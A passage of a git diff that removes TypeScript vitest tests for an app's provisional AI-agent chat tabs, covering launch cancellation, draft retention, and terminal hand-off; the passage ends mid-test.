-    expect(pending.visibilityUnknown).toBe(false)
-    expect(pending.callers.outcome).toBe('published')
-    expect(pending.hostListed).toBeUndefined()
-    expect(getStructuredLaunchStateBySessionId(chat.entityId)).toBeUndefined()
-    expect(controller.isCurrent()).toBe(true)
-    expect(controller.current('model')).toBe(operation)
-    expect(operation.result).toBe(pick)
-    expect(controller.pending()).toEqual([operation])
-    expect(controller.overlay()).toEqual({ model: 'picked' })
-    expect(operation.transmitted).toBe(true)
-    expect(controller.isPending('model')).toBe(true)
-    expect(operation.outcome).toBeUndefined()
-    const request = operation.request
-    if (!request) {
-      throw new Error('Original selection request was not dispatched')
-    }
-    const writes = optionCall.mock.calls.filter(([, method]) => method === 'agentSession.setOption')
-    expect(writes).toEqual([
-      [
-        { kind: 'local' },
-        'agentSession.setOption',
-        {
-          envelope: {
-            sessionId: chat.entityId,
-            clientOperationId: expect.stringMatching(/^\d{13}-[0-9a-f]{32}$/),
-            expectedRuntimeFence: 1,
-            payloadFingerprint: structuredAgentSessionPayloadFingerprint({
-              method: 'agentSession.setOption',
-              sessionId: chat.entityId,
-              fields: { key: 'model', value: 'picked' }
-            })
-          },
-          key: 'model',
-          value: 'picked'
-        },
-        {}
-      ]
-    ])
-    expect(optionCall.mock.results[0]?.value).toBe(optionResponse.promise)
-    expect(retryStructuredAgentSessionLaunch('wt-1', chat.entityId)).toBe(false)
-    expect(getStructuredLaunchStateBySessionId(chat.entityId)).toBeUndefined()
-    expect(launchCall).toHaveBeenCalledOnce()
-    expect(controller.isCurrent()).toBe(true)
-    expect(controller.current('model')).toBe(operation)
-    expect(controller.overlay()).toEqual({ model: 'picked' })
-
-    useAppStore.getState().closeUnifiedTab(chat.id)
-    await main.settle()
-    expect(useAppStore.getState().getTab(chat.id)).toBeNull()
-    expect(controller.isCurrent()).toBe(false)
-    expect(await pick).toEqual({ kind: 'superseded' })
-    expect(operation.outcome).toEqual({ kind: 'superseded' })
-    await controller.drain()
-    expect(optionAnswered).toBe(false)
-    expect(controller.current('model')).toBeUndefined()
-    expect(controller.pending()).toEqual([])
-    expect(controller.isPending('model')).toBe(false)
-    expect(controller.pendingId()).toBeNull()
-    expect(controller.overlay()).toEqual({})
-    expect(controller.captureRead()).toEqual([])
-    expect(readNativeChatComposerDraft(scope).text).toBe('hand-off context')
-    expect(readNativeChatComposerDraft(scope).document).toEqual(
-      promptTextContent('hand-off context')
-    )
-    expect(operation.request).toBe(request)
-    optionResponse.resolve(lateReply)
-    await expect(request).rejects.toEqual(new Error('Conversation selection owner retired.'))
-    await optionResponse.promise
-    await pick
-    await controller.drain()
-    await Promise.allSettled(
-      [...optionCall.mock.results, ...rpcCall.mock.results].flatMap((result) =>
-        result.type === 'return' ? [result.value] : []
-      )
-    )
-    await main.settle()
-    await nativeChatComposerDraftWritesSettled()
-    expect(controller.isCurrent()).toBe(false)
-    expect(operation.outcome).toEqual({ kind: 'superseded' })
-    expect(controller.current('model')).toBeUndefined()
-    expect(controller.pending()).toEqual([])
-    expect(controller.overlay()).toEqual({})
-    expect(controller.captureRead()).toEqual([])
-    expect(useAppStore.getState().getTab(chat.id)).toBeNull()
-    expect(getStructuredLaunchStateBySessionId(chat.entityId)).toBeUndefined()
-    expect(launchCall).toHaveBeenCalledOnce()
-    expect(readNativeChatComposerDraft(scope).text).toBe('hand-off context')
-    expect(readNativeChatComposerDraft(scope).document).toEqual(
-      promptTextContent('hand-off context')
-    )
-  } finally {
-    vi.useRealTimers()
-    try {
-      try {
-        accept({ sessionId: chat.entityId, fence: 1 })
-        await Promise.allSettled([launch.settlement, pending?.promise, joined?.launchResult])
-        await main.settle()
-      } finally {
-        try {
-          if (useAppStore.getState().getTab(chat.id)) {
-            useAppStore.getState().closeUnifiedTab(chat.id)
-          }
-          await main.settle()
-        } finally {
-          optionResponse.resolve(lateReply)
-          await Promise.allSettled([
-            optionResponse.promise,
-            operation?.request,
-            operation?.result,
-            pick,
-            controller?.drain()
-          ])
-          await Promise.allSettled(
-            [...optionCall.mock.results, ...rpcCall.mock.results].flatMap((result) =>
-              result.type === 'return' ? [result.value] : []
-            )
-          )
-          await main.settle()
-          await nativeChatComposerDraftWritesSettled()
-        }
-      }
-    } finally {
-      rpcCall.mockRestore()
-      optionCall.mockRestore()
-    }
-  }
-}
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.test.ts b/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.test.ts
deleted file mode 100644
index df78626b25b..00000000000
--- a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.test.ts
+++ /dev/null
@@ -1,819 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import type * as launchModule from './launch/structured-agent-session-launch-create-call'
-import {
-  type AgentSessionLaunchPlan,
-  adoptAgentSessionLaunchVerdict
-} from './launch/routing/agent-session-launch-plan'
-import { beginStructuredAgentSessionProvisionalLaunch } from './structured-agent-session-provisional-tab'
-import { StructuredAgentSessionCreateRefusalError } from './launch/structured-agent-session-launch-errors'
-import { act, renderHook } from '@testing-library/react'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import {
-  getStructuredAgentSessionLaunchFailure,
-  getStructuredLaunchStateBySessionId,
-  hasStructuredAgentSessionLaunchCancellationTombstone,
-  resetStructuredAgentLaunchRegistryForTests
-} from './launch/structured-agent-session-launch-registry'
-import { structuredSessionNotices } from '../../components/native-chat/messages/notices/native-chat-structured-session-notices'
-import type { AgentTerminalLaunchCompletion } from './launch/structured-agent-session-launch-admission'
-import {
-  addNativeChatPendingAttachment,
-  clearNativeChatPendingAttachmentsForTests,
-  nativeChatPendingAttachmentSnapshot
-} from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
-import { applyStructuredSessionTabSnapshots } from '@/runtime/local-structured-session-tabs-sync/snapshot-apply'
-import { makeEmptyHostSnapshot } from '@/runtime/web-session-tabs-sync/hydration/testing/host-session-mirror-frame-fixtures'
-import * as unlisted from './launch/pane/structured-agent-session-unlisted-created-chats'
-import { buildFullWorktreePurgeState } from '@/store/slices/worktrees/teardown/worktree-purge-state'
-import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import { sendLayoutCommandToOwner } from '@/runtime/workspace-layout/commands/layout-owner-command'
-import { structuredAgentSessionTabId } from '../../../../shared/agent-session/view/structured-agent-session-projection'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => {
-  const client = (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-  return {
-    ...client,
-    callRuntimeRpc: (...args: Parameters<typeof client.callRuntimeRpc>) =>
-      args[1] === 'agentSession.close' || args[1] === 'session.tabs.close'
-        ? Promise.resolve(null)
-        : client.callRuntimeRpc(...args)
-  }
-})
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-const mocks = vi.hoisted(() => ({ focus: vi.fn(), toast: vi.fn(), launch: vi.fn() }))
-vi.mock('./launch/structured-agent-session-launch-create-call', async (original) => ({
-  ...(await original<typeof launchModule>()),
-  launchStructuredAgentSession: mocks.launch
-}))
-vi.mock('sonner', () => ({ toast: { info: mocks.toast, error: vi.fn() } }))
-vi.mock('../../components/terminal-pane/input/focus/focus-terminal-tab-surface', () => ({
-  focusTerminalTabSurface: vi.fn()
-}))
-import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { hydrateNativeChatComposerDrafts } from '@/components/native-chat/drafts/native-chat-composer-draft-load'
-import { nativeChatComposerDraftWritesSettled } from '@/components/native-chat/drafts/native-chat-composer-draft-persistence'
-import {
-  createMemoryNativeChatComposerDraftStorage,
-  setNativeChatComposerDraftStorageForTests
-} from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
-import { restorePersistedStructuredLaunchState } from './launch/structured-agent-session-launch-reload'
-import { promptTextContent } from '@/components/native-chat/composer/editor/native-chat-prompt-document-text'
-import { useNativeChatDraft } from '@/components/native-chat/drafts/use-native-chat-draft'
-import { wasStructuredAgentLaunchClosedByLocalCancel } from './launch/structured-agent-session-local-launch-cancel'
-import {
-  startStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch
-} from './launch/structured-agent-session-launch'
-import { assertProvisionalSelectionLifetime } from './structured-agent-session-provisional-selection-lifetime.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { openStructuredAgentSessionProvisionalTab } from './launch/structured-agent-session-launch-surface'
-import { markStructuredAgentSessionLaunchPublished } from './launch/structured-agent-session-launch-publication'
-
-function terminalRecord(id: string): TerminalTab {
-  return {
-    id,
-    ptyId: null,
-    worktreeId: 'wt-1',
-    title: 'Terminal',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1
-  }
-}
-
-let refuse = (): void => {}
-let accept: (receipt: Awaited<ReturnType<typeof launchModule.launchStructuredAgentSession>>) => void
-
-function planSettlingAs(
-  error: StructuredAgentSessionCreateRefusalError,
-  prompt = 'hand-off context',
-  resume = false
-): AgentSessionLaunchPlan {
-  const creation = new Promise<
-    Awaited<ReturnType<typeof launchModule.launchStructuredAgentSession>>
-  >((resolve, reject) => {
-    refuse = () => reject(error)
-    accept = resolve
-  })
-  mocks.launch.mockReturnValue(creation)
-  return adoptAgentSessionLaunchVerdict({
-    requestId: 'action',
-    route: 'structured-native-chat',
-    agent: 'claude',
-    worktreeId: 'wt-1',
-    executionHostId: 'local',
-    prompt,
-    ...(resume ? { resumeFrom: { providerSessionId: 'prior-chat' } } : {}),
-    promptDelivery: 'draft'
-  })
-}
-
-let main: TabsDrawnFromMain
-let draftStorage: ReturnType<typeof createMemoryNativeChatComposerDraftStorage>
-
-beforeEach(async () => {
-  vi.clearAllMocks()
-  clearNativeChatComposerDraftsForTests()
-  draftStorage = createMemoryNativeChatComposerDraftStorage()
-  setNativeChatComposerDraftStorageForTests(draftStorage)
-  await hydrateNativeChatComposerDrafts()
-  resetStructuredAgentLaunchRegistryForTests()
-  clearNativeChatPendingAttachmentsForTests()
-  useAppStore.setState({
-    activeWorktreeId: 'wt-1',
-    unifiedTabsByWorktree: {},
-    groupsByWorktree: {},
-    activeGroupIdByWorktree: {},
-    tabsByWorktree: {},
-    tabBarOrderByWorktree: {}
-  })
-  main = await drawTabsFromMain(useAppStore)
-})
-
-afterEach(() => main.close())
-
-async function mainLoadsStoreLayout(): Promise<void> {
-  main.close()
-  main = await drawTabsFromMain(useAppStore)
-}
-
-function pinAsUser(tabId: string): void {
-  if (!ORCA_LAYOUT_OWNER_IS_MAIN) {
-    useAppStore.getState().pinTab(tabId)
-    return
-  }
-  const worktreeId = useAppStore.getState().getTab(tabId)?.worktreeId ?? 'wt-1'
-  sendLayoutCommandToOwner(
-    worktreeId,
-    { type: 'setTabProps', tabId, isPinned: true },
-    { apply: () => {}, asToday: () => useAppStore.getState().pinTab(tabId) }
-  )
-}
-
-function labelAsUser(tabId: string, label: string, color: string): void {
-  if (!ORCA_LAYOUT_OWNER_IS_MAIN) {
-    useAppStore.getState().setTabCustomLabel(tabId, label)
-    useAppStore.getState().setUnifiedTabColor(tabId, color)
-    return
-  }
-  const asToday = { apply: () => {}, asToday: () => {} }
-  sendLayoutCommandToOwner(
-    'wt-1',
-    { type: 'renameTab', tabId, kind: 'custom', title: label },
-    asToday
-  )
-  sendLayoutCommandToOwner('wt-1', { type: 'setTabProps', tabId, color }, asToday)
-}
-
-function groupOf(tabId: string): string {
-  const groupId = useAppStore.getState().getTab(tabId)?.groupId
-  if (!groupId) {
-    throw new Error(`No drawn tab ${tabId}`)
-  }
-  return groupId
-}
-
-function openChat(
-  requestedSurface?: 'chat',
-  signal?: AbortSignal,
-  prompt = 'hand-off context',
-  resume = false
-) {
-  let complete!: (value: AgentTerminalLaunchCompletion) => void
-  const completion = new Promise<AgentTerminalLaunchCompletion>((resolve) => {
-    complete = resolve
-  })
-  const fallback = vi.fn(() => ({ opened: true, completion }))
-  const plan = {
-    ...planSettlingAs(new StructuredAgentSessionCreateRefusalError('no'), prompt, resume),
-    requestedSurface
-  }
-  const resumed = resume ? plan.begin({ signal }) : null
-  const launch = resumed
-    ? {
-        ...resumed,
-        tab: openStructuredAgentSessionProvisionalTab({
-          worktreeId: 'wt-1',
-          executionHostId: resumed.executionHostId,
-          sessionId: resumed.sessionId,
-          agent: 'claude'
-        })
-      }
-    : beginStructuredAgentSessionProvisionalLaunch({
-        plan,
-        hooks: { signal },
-        focusIntent: { request: mocks.focus, cancel: vi.fn() },
-        onHostDeclined: fallback
-      })
-  const chat = launch?.tab
-  if (!chat) {
-    throw new Error('No immediate chat')
-  }
-  return { launch, chat, fallback, complete }
-}
-
-describe('a provisional structured chat tab', () => {
-  it.skipIf(!ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'cancels a launch whose owning tab main refuses, even if the provider later succeeds',
-    async () => {
-      layoutApplyTestTransport.answerWith((command) =>
-        command.type === 'openAgentSessionTab' ? 'pending' : 'apply'
-      )
-      const launch = beginStructuredAgentSessionProvisionalLaunch({
-        plan: planSettlingAs(new StructuredAgentSessionCreateRefusalError('no'), ''),
-        hooks: {},
-        focusIntent: { request: mocks.focus, cancel: vi.fn() }
-      })
-      if (!launch?.tab) {
-        throw new Error('No provisional chat')
-      }
-      await vi.waitFor(() => expect(mocks.launch).toHaveBeenCalled())
-      layoutApplyTestTransport.answerWith({ refuse: 'group_not_found' })
-      layoutApplyTestTransport.answerPending()
-      await main.settle()
-      expect(wasStructuredAgentLaunchClosedByLocalCancel(launch.tab.entityId)).toBe(true)
-
-      accept({ sessionId: launch.tab.entityId, fence: 1 })
-      expect((await launch.settlement).kind).not.toBe('structured')
-      await main.settle()
-      expect(useAppStore.getState().getTab(launch.tab.id)).toBeNull()
-    }
-  )
-
-  it.each(['before', 'after'] as const)(
-    'retains a draft initialized %s host publication through close and reopen',
-    async (order) => {
-      const { launch, chat } = openChat(
-        'chat',
-        undefined,
-        order === 'after' ? '' : 'hand-off context',
-        order === 'after'
-      )
-      await main.settle()
-      const scope = structuredAgentSessionDraftScopeKey(chat.entityId)
-      const pending = getStructuredLaunchStateBySessionId(chat.entityId)
-      expect(markStructuredAgentSessionLaunchPublished('wt-1', chat.entityId, 'ssh:other')).toBe(
-        false
-      )
-      expect(pending?.hostListed).not.toBe(true)
-      applyStructuredSessionTabSnapshots([
-        {
-          ...makeEmptyHostSnapshot('wt-1'),
-          publicationEpoch: chat.entityId,
-          tabs: [
-            {
-              type: 'agent-session',
-              id: structuredAgentSessionTabId(chat.entityId),
-              sessionId: chat.entityId,
-              agent: 'claude',
-              title: 'Chat',
-              isActive: true
-            }
-          ]
-        }
-      ])
-      await main.settle()
-      expect(pending?.hostListed).toBe(true)
-      expect(pending?.callers.outcome).toBe('pending')
-      expect(useAppStore.getState().getTab(chat.id)).not.toBeNull()
-      const joined =
-        order === 'after'
-          ? startStructuredAgentLaunch('wt-1', 'claude', {
-              requestId: 'later-action',
-              prompt: 'hand-off context',
-              promptDelivery: 'draft',
-              resumeFrom: { providerSessionId: 'prior-chat' }
-            })
-          : undefined
-      expect(joined?.joined ?? true).toBe(true)
-      expect(readNativeChatComposerDraft(scope).text).toBe('hand-off context')
-
-      useAppStore.getState().closeUnifiedTab(chat.id)
-      await main.settle()
-      expect(
-        ORCA_LAYOUT_OWNER_IS_MAIN
-          ? wasStructuredAgentLaunchClosedByLocalCancel(chat.entityId)
-          : hasStructuredAgentSessionLaunchCancellationTombstone('wt-1', chat.entityId)
-      ).toBe(true)
-      accept({ sessionId: chat.entityId, fence: 1 })
-      expect(pending?.cancelled).toBe(true)
-      expect((await launch.settlement).kind).not.toBe('structured')
-      await Promise.allSettled(joined ? [joined.launchResult] : [])
-      await main.settle()
-      expect(useAppStore.getState().getTab(chat.id)).toBeNull()
-      expect(getStructuredLaunchStateBySessionId(chat.entityId)).toBeUndefined()
-      await nativeChatComposerDraftWritesSettled()
-      expect(draftStorage.drafts.get(scope)?.text).toBe('hand-off context')
-      expect(draftStorage.drafts.get(scope)?.document).toEqual(
-        promptTextContent('hand-off context')
-      )
-
-      clearNativeChatComposerDraftsForTests()
-      setNativeChatComposerDraftStorageForTests(draftStorage)
-      await hydrateNativeChatComposerDrafts()
-      const reopened = useAppStore.getState().createUnifiedTab('wt-1', 'agent-session', {
-        entityId: chat.entityId
-      })
-      await main.settle()
-      const composer = renderHook(() =>
-        useNativeChatDraft(structuredAgentSessionDraftScopeKey(reopened.entityId), () => false)
-      )
-      expect(composer.result.current.draft).toBe('hand-off context')
-      composer.unmount()
-    }
-  )
-
-  it('joins pending launch before uncertainty, then normalizes own success with held picks, Retry and close', async () => {
-    const { launch, chat } = openChat('chat', undefined, '', true)
-    await assertProvisionalSelectionLifetime({
-      launch,
-      chat,
-      main,
-      accept,
-      launchCall: mocks.launch
-    })
-  })
-
-  it.each(['cancel', 'abort', 'close', 'reloaded-close', 'silent'] as const)(
-    'retains ordinary draft content during %s',
-    async (action) => {
-      const controller = new AbortController()
-      const { launch, chat } = openChat('chat', controller.signal)
-      await main.settle()
-      const scope = structuredAgentSessionDraftScopeKey(chat.entityId)
-      const text = action === 'cancel' ? 'new thought' : 'hand-off context'
-      const document =
-        action === 'close'
-          ? { ...promptTextContent(text), attrs: { edited: true } }
-          : promptTextContent(text)
-      updateNativeChatComposerDraft(
-        scope,
-        { text, document, images: [{ id: 'image', path: '/repo/image.png' }] },
-        'immediate'
-      )
-      addNativeChatPendingAttachment(scope, { id: 'pending', path: '', pending: true })
-      if (action === 'reloaded-close') {
-        await nativeChatComposerDraftWritesSettled()
-        clearNativeChatComposerDraftsForTests()
-        setNativeChatComposerDraftStorageForTests(draftStorage)
-        await hydrateNativeChatComposerDrafts()
-        resetStructuredAgentLaunchRegistryForTests()
-        expect(restorePersistedStructuredLaunchState('wt-1', chat.entityId)).toBeDefined()
-      }
-      if (action === 'cancel') {
-        launch.cancel()
-      } else if (action === 'abort') {
-        controller.abort()
-      } else if (action === 'silent') {
-        buildFullWorktreePurgeState(useAppStore.getState(), [{ id: 'wt-1' }])
-      } else {
-        useAppStore.getState().closeUnifiedTab(chat.id)
-      }
-      await main.settle()
-      expect(readNativeChatComposerDraft(scope)).toMatchObject({
-        text,
-        images: [{ id: 'image' }]
-      })
-      expect(readNativeChatComposerDraft(scope).document).toEqual(document)
-      expect(nativeChatPendingAttachmentSnapshot(scope)).toHaveLength(1)
-      refuse()
-      await launch.settlement
-    }
-  )
-
-  it
-    .skipIf(!ORCA_LAYOUT_OWNER_IS_MAIN)
-    .each([
-      'initializer',
-      'published',
-      'text',
-      'document',
-      'image',
-      'pending',
-      'pre-removed',
-      'retry',
-      'abort',
-      'source-closed',
-      'replacement-closed',
-      'unplaced'
-    ])('revalidates terminal takeover after main placement: %s', async (change) => {
-    const controller = new AbortController()
-    const { launch, chat, fallback, complete } = openChat(
-      undefined,
-      controller.signal,
-      change === 'initializer' ? 'hand-off context' : ''
-    )
-    await main.settle()
-    const scope = structuredAgentSessionDraftScopeKey(chat.entityId)
-    if (change === 'pre-removed') {
-      updateNativeChatComposerDraft(scope, { text: 'keep before' }, 'immediate')
-    }
-    refuse()
-    await vi.waitFor(() => expect(fallback).toHaveBeenCalledOnce())
-    const terminal = useAppStore.getState().createUnifiedTab('wt-1', 'terminal', {
-      id: 'replacement',
-      activate: false,
-      split: { sourceGroupId: groupOf(chat.id), splitDirection: 'right', activate: false }
-    })
-    useAppStore.setState({ tabsByWorktree: { 'wt-1': [terminalRecord(terminal.entityId)] } })
-    await mainLoadsStoreLayout()
-    layoutApplyTestTransport.answerWith((command) =>
-      command.type === 'moveTab' ? 'pending' : 'apply'
-    )
-    complete({ outcome: { status: 'created' }, tabId: terminal.id })
-    await vi.waitFor(() => expect(layoutApplyTestTransport.pendingCount).toBe(1))
-    if (change === 'published') {
-      markStructuredAgentSessionLaunchPublished('wt-1', chat.entityId, 'local')
-    }
-    if (change === 'text') {
-      updateNativeChatComposerDraft(scope, { text: 'keep after', document: undefined }, 'immediate')
-    }
-    if (change === 'document') {
-      updateNativeChatComposerDraft(
-        scope,
-        {
-          text: 'hand-off context',
-          document: { ...promptTextContent('hand-off context'), attrs: { edited: true } }
-        },
-        'immediate'
-      )
-    }
-    if (change === 'image') {
-      updateNativeChatComposerDraft(
-        scope,
-        { images: [{ id: 'image', path: '/repo/image.png' }] },
-        'immediate'
-      )
-    }
-    if (change === 'pending') {
-      addNativeChatPendingAttachment(scope, { id: 'pending', path: '', pending: true })
-    }
-    if (change === 'pre-removed') {
-      updateNativeChatComposerDraft(scope, { text: '', document: undefined }, 'immediate')
-    }
-    if (change === 'retry') {
-      expect(retryStructuredAgentSessionLaunch('wt-1', chat.entityId)).toBe(true)
-    }
-    if (change === 'abort') {
-      controller.abort()
-    }
-    if (change === 'source-closed') {
-      useAppStore.getState().closeUnifiedTab(chat.id)
-    }
-    if (change === 'replacement-closed') {
-      useAppStore.getState().closeUnifiedTab(terminal.id)
-    }
-    layoutApplyTestTransport.answerWith(
-      change === 'unplaced' ? { refuse: 'tab_not_found' } : 'apply'
-    )
-    layoutApplyTestTransport.answerPending()
-    const result = await launch.settlement
-    await main.settle()
-    expect(result.kind).not.toBe('terminal')
-    expect(readNativeChatComposerDraft(scope).text).toBe(
-      change === 'pre-removed'
-        ? ''
-        : change === 'text'
-          ? 'keep after'
-          : ['initializer', 'document'].includes(change)
-            ? 'hand-off context'
-            : ''
-    )
-    if (change !== 'source-closed' && change !== 'abort') {
-      expect(useAppStore.getState().getTab(chat.id)).not.toBeNull()
-    }
-  })
-
-  it.each([
-    'empty',
-    'typed-before',
-    'typed-during',
-    'initializer',
-    'published-during',
-    'image-during',
-    'pending-chip',
-    'failed',
-    'unreconciled',
-    'closed',
-    'explicit',
-    'away-before',
-    'away-during',
-    'closed-during'
-  ])('owns the destination through terminal completion: %s', async (scenario) => {
-    const { launch, chat, fallback, complete } = openChat(
-      scenario === 'explicit' ? 'chat' : undefined,
-      undefined,
-      scenario === 'initializer' || scenario === 'explicit' ? 'hand-off context' : ''
-    )
-    const scope = structuredAgentSessionDraftScopeKey(chat.entityId)
-    if (scenario === 'typed-before') {
-      updateNativeChatComposerDraft(scope, { text: 'keep this', document: undefined }, 'immediate')
-    }
-    await main.settle()
-    expect(mocks.focus).toHaveBeenCalledWith(chat.id)
-    const view = renderHook(() => {
-      const current = useNativeChatProvisionalLaunch('wt-1', chat.entityId)
-      return structuredSessionNotices({
-        launch: current,
-        agentLabel: 'Claude',
-        sessionError: null,
-        composerError: null
-      })
-    })
-    const away = () => {
-      useAppStore.getState().createUnifiedTab('wt-2', 'agent-session', { entityId: 'other' })
-      useAppStore.setState({ activeWorktreeId: 'wt-2', activeTabType: 'agent-session' })
-    }
-    if (scenario === 'away-before') {
-      away()
-    }
-    if (scenario === 'closed') {
-      useAppStore.getState().closeUnifiedTab(chat.id)
-    }
-    await main.settle()
-    refuse()
-    await vi.waitFor(() =>
-      expect(
-        scenario === 'closed' || scenario === 'explicit' || fallback.mock.calls.length
-      ).toBeTruthy()
-    )
-    if (scenario === 'closed' || scenario === 'explicit') {
-      await launch?.settlement
-      expect(fallback).not.toHaveBeenCalled()
-      view.unmount()
-      return
-    }
-    expect(useAppStore.getState().unifiedTabsByWorktree['wt-1']).toContainEqual(
-      expect.objectContaining({ ...chat, contentType: 'agent-session' })
-    )
-    // Move the source while its host is preparing the terminal, then invest in the composer.
-    const sibling = useAppStore.getState().createUnifiedTab('wt-1', 'terminal', {
-      entityId: 'sibling',
-      split: { sourceGroupId: groupOf(chat.id), splitDirection: 'right', activate: true }
-    })
-    const groupId = sibling.groupId
-    const siblingRecords = () =>
-      ORCA_LAYOUT_OWNER_IS_MAIN ? [terminalRecord(sibling.entityId)] : []
-    useAppStore.setState({ tabsByWorktree: { 'wt-1': siblingRecords() } })
-    await mainLoadsStoreLayout()
-    const pinnedSource = ['empty', 'typed-during', 'initializer'].includes(scenario)
-    if (pinnedSource) {
-      pinAsUser(chat.id)
-      pinAsUser(sibling.id)
-      labelAsUser(chat.id, 'My work', '#ff0000')
-    }
-    useAppStore.getState().moveUnifiedTabToGroup(chat.id, groupId)
-    useAppStore.getState().reorderUnifiedTabs(groupId, [chat.id, sibling.id])
-    if (scenario === 'typed-during') {
-      updateNativeChatComposerDraft(
-        scope,
-        { text: 'new thought', document: undefined },
-        'immediate'
-      )
-    }
-    if (scenario === 'published-during') {
-      markStructuredAgentSessionLaunchPublished('wt-1', chat.entityId, 'local')
-    }
-    if (scenario === 'image-during') {
-      updateNativeChatComposerDraft(
-        scope,
-        { images: [{ id: 'image', path: '/repo/image.png' }] },
-        'immediate'
-      )
-    }
-    if (scenario === 'pending-chip') {
-      addNativeChatPendingAttachment(`agent-session:${chat.entityId}`, {
-        id: 'paste',
-        path: '',
-        pending: true
-      })
-    }
-    if (scenario === 'away-during') {
-      away()
-    }
-    if (scenario === 'closed-during') {
-      useAppStore.getState().closeUnifiedTab(chat.id)
-    }
-    await main.settle()
-    if (pinnedSource) {
-      useAppStore.getState().activateTab(chat.id)
-      useAppStore.getState().setActiveTabType('agent-session', 'wt-1')
-    }
-    const priorFailure = getStructuredAgentSessionLaunchFailure('wt-1', chat.entityId)
-    const terminal =
-      scenario === 'failed' || scenario === 'unreconciled'
-        ? null
-        : useAppStore
-            .getState()
-            .createUnifiedTab('wt-1', 'terminal', { id: 'replacement', activate: false })
-    if (terminal) {
-      useAppStore.setState({
-        tabsByWorktree: { 'wt-1': [terminalRecord(terminal.entityId), ...siblingRecords()] }
-      })
-      if (scenario === 'typed-before') {
-        useAppStore.getState().pinTab(terminal.id)
-      }
-    }
-    await mainLoadsStoreLayout()
-    const selected = useAppStore.getState().getActiveTab('wt-2')
-    const interaction = vi.fn()
-    useAppStore.setState({ recordFeatureInteraction: interaction })
-    await act(async () => {
-      complete({
-        outcome:
-          scenario === 'failed' ? { status: 'failed', message: 'offline' } : { status: 'created' },
-        tabId: terminal?.id ?? 'missing'
-      })
-      await launch?.settlement
-      await main.settle()
-    })
-    if (scenario !== 'closed-during') {
-      expect(readNativeChatComposerDraft(scope).text).toBe(
-        ['empty', 'away-before', 'away-during'].includes(scenario)
-          ? ''
-          : scenario === 'typed-before'
-            ? 'keep this'
-            : scenario === 'typed-during'
-              ? 'new thought'
-              : scenario === 'initializer'
-                ? 'hand-off context'
-                : ''
-      )
-    }
-    expect(interaction).not.toHaveBeenCalled()
-    const state = useAppStore.getState()
-    const tabs = state.unifiedTabsByWorktree['wt-1'] ?? []
-    expect(tabs.some((t) => t.id === chat.id)).toBe(
-      !['empty', 'away-before', 'away-during', 'closed-during'].includes(scenario)
-    )
-    if (terminal) {
-      const order = state.groupsByWorktree['wt-1']?.find((g) => g.id === groupId)?.tabOrder
-      expect(order).toEqual(
-        scenario === 'published-during'
-          ? [chat.id, sibling.id, terminal.id]
-          : scenario === 'closed-during'
-            ? [sibling.id, terminal.id]
-            : ['empty', 'away-before', 'away-during'].includes(scenario)
-              ? [terminal.id, sibling.id]
-              : [chat.id, terminal.id, sibling.id]
-      )
-      expect(mocks.toast).toHaveBeenCalledOnce()
-      expect(state.getTab(terminal.id)?.isPinned ?? false).toBe(pinnedSource)
-      expect(state.tabsByWorktree['wt-1'][0].isPinned ?? false).toBe(pinnedSource)
-      if (pinnedSource) {
-        const replaced = scenario === 'empty'
-        expect(state.getTab(terminal.id)).toMatchObject({
-          customLabel: replaced ? 'My work' : null,
-          color: replaced ? '#ff0000' : null
-        })
-        expect(state.tabsByWorktree['wt-1'][0]).toMatchObject({
-          customTitle: replaced ? 'My work' : null,
-          color: replaced ? '#ff0000' : null
-        })
-        expect(state.getTab(chat.id)?.customLabel ?? null).toBe(replaced ? null : 'My work')
-        expect(state.getTab(chat.id)?.color ?? null).toBe(replaced ? null : '#ff0000')
-        expect(state.activeGroupIdByWorktree['wt-1']).toBe(groupId)
-        expect(state.groupsByWorktree['wt-1'].find((g) => g.id === groupId)?.activeTabId).toBe(
-          replaced ? terminal.id : chat.id
-        )
-        expect(state.activeTabType).toBe(replaced ? 'terminal' : 'agent-session')
-      }
-    }
-    expect(view.result.current[0]?.text ?? '').not.toMatch(/open the agent|open it in/i)
-    if (scenario === 'unreconciled') {
-      expect(getStructuredAgentSessionLaunchFailure('wt-1', chat.entityId)).not.toBe(priorFailure)
-      const notice = view.result.current[0]?.text
-      expect(notice).toContain("couldn't show it here when the launch finished")
-      act(() => {
-        useAppStore.getState().createUnifiedTab('wt-1', 'terminal', {
-          id: 'missing',
-          activate: false
-        })
-      })
-      expect(useAppStore.getState().getTab(chat.id)).not.toBeNull()
-      expect(fallback).toHaveBeenCalledOnce()
-      expect(mocks.launch).toHaveBeenCalledOnce()
-      expect(view.result.current[0]?.text).toBe(notice)
-      expect(mocks.toast).not.toHaveBeenCalled()
-    }
-    if (scenario.startsWith('away-')) {
